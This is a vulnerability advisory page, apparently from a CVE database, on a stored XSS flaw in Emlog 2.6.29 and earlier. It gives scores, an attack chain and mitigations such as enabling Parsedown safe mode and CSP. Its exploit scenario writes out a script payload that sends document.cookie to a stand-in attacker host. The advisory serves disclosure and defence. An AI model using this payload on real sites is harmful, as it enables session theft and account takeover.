Skip to main content

Emlog CVE-2026-53758

| EUVDEUVD-2026-71624 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-09-04 GitHub_M
8.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain article-creation access (authenticated or unauthenticated)
  2. Delivery
    Embed `<script>` tag or event handler in Markdown article body
  3. Exploit
    Article with payload stored in Emlog database
  4. Execution
    Victim loads article page in browser
  5. Persist
    Payload executes in victim browser context
  6. Impact
    Session token theft or malicious redirect

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the ability to create or edit articles within an Emlog instance running version 2.6.29 or earlier. The provided CVSS 4.0 vector rates this PR:N (no privileges required), suggesting unauthenticated content submission may be possible in some Emlog configurations; however, if Emlog's default installation requires author-level authentication to submit articles, PR:L applies and the attacker must first obtain valid credentials. Once a malicious article is stored, payload execution affects all site visitors who load the article page - no special victim action beyond a normal page visit is needed. No non-default server configuration is required on the victim side; the unsafe Parsedown behavior is present in the default Emlog installation. Exploitation is limited to instances running version 2.6.29 or earlier; the exact version boundary for a patched release has not been established.

Impact

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VI:H) yields a score of 8.7. The PR:N rating - implying no authentication is required to inject - warrants independent verification against Emlog's content-submission model: if article creation requires author-level credentials, the effective attacker population is substantially smaller than PR:N suggests, and the real exploitability is closer to PR:L. The UI:N rating in CVSS 4.0 is a known scoring convention for stored XSS where the payload fires automatically on page load, but defenders should understand that victims must navigate to the affected article for execution to occur. No public exploit has been published and this CVE is absent from CISA KEV, indicating no confirmed in-the-wild exploitation at time of analysis. The absence of a patch is the primary risk amplifier: operators have no vendor-provided fix to apply and must rely entirely on compensating controls, increasing the dwell-time window for any attacker who does exploit this path.

Exploit ScenarioDerived

An attacker with article-creation privileges (or without, if Emlog permits unauthenticated submission) creates or edits an article embedding a <script>document.location='https://attacker.example/steal?c='+document.cookie</script> tag in the Markdown body. The payload is stored in the Emlog database and executes automatically in the browser of every visitor who loads the article page, enabling session token exfiltration and subsequent account takeover. No public proof-of-concept code exists, but the technique requires only basic knowledge of Parsedown's unsafe-mode behavior, making independent reproduction straightforward.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 04, 2026

Stored cross-site scripting in Emlog versions 2.6.29 and prior enables arbitrary JavaScript execution in the browsers of all site visitors. The root cause is Parsedown being invoked without safe mode enabled, so raw HTML - including <script> tags and inline event handlers - embedded in article Markdown is passed through and rendered without any additional sanitization. No vendor-released patch was publicly available at the time of disclosure, leaving all deployed instances of Emlog ≤2.6.29 exposed; no public exploit code exists and the vulnerability is not listed in CISA KEV.

RemediationAI

No vendor-released patch was identified at time of publication; operators should monitor the GitHub advisory GHSA-35vc-2gv4-mw77 (https://github.com/emlog/emlog/security/advisories/GHSA-35vc-2gv4-mw77) for a fix release and apply it immediately when available. As an immediate compensating control, locate the Parsedown instantiation in Emlog's article-rendering code and enable safe mode by calling $Parsedown->setSafeMode(true) before parsing user content; this disables raw HTML passthrough and eliminates the injection vector, though the trade-off is that any intentionally embedded HTML in existing articles will no longer render as formatted output. If restricting article creation to a closed set of fully trusted authors is operationally feasible, doing so limits the attacker population who can submit malicious payloads. Deploying a WAF rule to strip or block <script> tags and inline event-handler attributes (onclick, onerror, etc.) in POST bodies targeting Emlog's article-creation and editor endpoints provides a defense-in-depth layer, though it does not cover all XSS payloads and should not be treated as a standalone fix. Content Security Policy (CSP) headers disabling inline scripts (script-src 'self') at the web server or reverse proxy layer can limit the impact of any successful injection by preventing script execution in compliant browsers.

Affected VersionsENISA

emlog ≤ 2.6.29

Affected Packages

euvd emlog no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Emlog is an open-source PHP-based CMS and blogging platform identified by CPE cpe:2.3:a:emlog:emlog:*:*:*:*:*:*:*:*. Article content is processed through Parsedown, a popular PHP Markdown parsing library. Parsedown's default behavior passes embedded HTML verbatim to output unless safe mode is explicitly enabled via setSafeMode(true); the Emlog codebase omits this call, causing all HTML including executable <script> tags and event-handler attributes to survive parsing and reach the rendered page. CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting) precisely characterizes the root cause: user-supplied content is stored persistently in the database and later reflected to arbitrary viewers without neutralization, making this a classic stored (persistent) XSS pattern rather than reflected or DOM-based.

Know when Emlog gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 5.4 MEDIUM

Article creation requires at least author-level authentication (PR:L); victim must visit the page (UI:R); scope change to victim browser (S:C); no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Emlog is an open source website building system. In versions 2.6.29 and prior, article content is processed by Parsedown without enabling safe mode, which means raw HTML including <script> tags embedded in Markdown is passed through unescaped. The output is rendered with no additional sanitization, resulting in stored XSS visible to all site visitors. At time of publication, there are no publicly known patches.

Technical POC Analysis

CWE-79: Improper Neutralization of Input During Web Page Generation (stored XSS).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Emlog blogging platform versions 2.6.29 and earlier contain a stored cross-site scripting vulnerability that executes malicious scripts in all site visitors' browsers, enabling session hijacking, credential theft, and site defacement. Any organization deploying Emlog ≤2.6.29 on public or internal sites faces immediate exposure to visitor compromise with no vendor patch available.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: deploy WAF with XSS blocking rules; implement strict Content Security Policy headers; restrict article editing to trusted staff; disable or sandbox Markdown HTML passthrough if configuration allows; enable HTML sanitization filters if available; monitor article modification logs for unauthorized changes; educate users to report suspicious content from unfamiliar sources.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Prevalence
Low
niche open-source Chinese blogging platform, limited global enterprise footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Emlog

View all
CVE-2025-29401 CRITICAL POC
9.8 Mar 19

An arbitrary file upload vulnerability in the component /views/plugin.php of emlog pro v2.5.7 allows attackers to execut

CVE-2023-44974 CRITICAL POC
9.8 Oct 03

An arbitrary file upload vulnerability in the component /admin/plugin.php of Emlog Pro v2.2.0 allows attackers to execut

CVE-2023-44973 CRITICAL POC
9.8 Oct 03

An arbitrary file upload vulnerability in the component /content/templates/ of Emlog Pro v2.2.0 allows attackers to exec

CVE-2023-43291 CRITICAL POC
9.8 Sep 27

Deserialization of Untrusted Data in emlog pro v.2.1.15 and earlier allows a remote attacker to execute arbitrary code v

CVE-2021-40883 CRITICAL POC
9.8 Dec 14

A Remote Code Execution (RCE) vulnerability exists in emlog 5.3.1 via content/plugins. Rated critical severity (CVSS 9.8

CVE-2021-31737 CRITICAL POC
9.8 May 06

emlog v5.3.1 and emlog v6.0.0 have a Remote Code Execution vulnerability due to upload of database backup file in admin/

CVE-2019-16868 CRITICAL POC
9.8 Sep 25

emlog through 6.0.0beta has an arbitrary file deletion vulnerability via an admin/data.php?action=dell_all_bak request w

CVE-2025-61318 CRITICAL POC
9.1 Dec 08

Emlog Pro 2.5.20 has an arbitrary file deletion vulnerability. This vulnerability stems from the admin/template.php comp

CVE-2026-21430 CRITICAL POC
9.3 Jan 02

Emlog 2.5.23 is vulnerable to CSRF in article creation, which chains with stored XSS to achieve account takeover. An att

CVE-2026-22799 HIGH POC
8.8 Jan 12

Remote code execution in Emlog v2.6.1 and earlier allows authenticated attackers to upload arbitrary files through an in

CVE-2025-61930 HIGH POC
8.8 Oct 10

Cross-site request forgery in Emlog Pro 2.5.19 and earlier can lead to account takeover of a privileged administrator be

CVE-2021-30081 HIGH POC
8.8 May 24

An issue was discovered in emlog 6.0.0stable. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy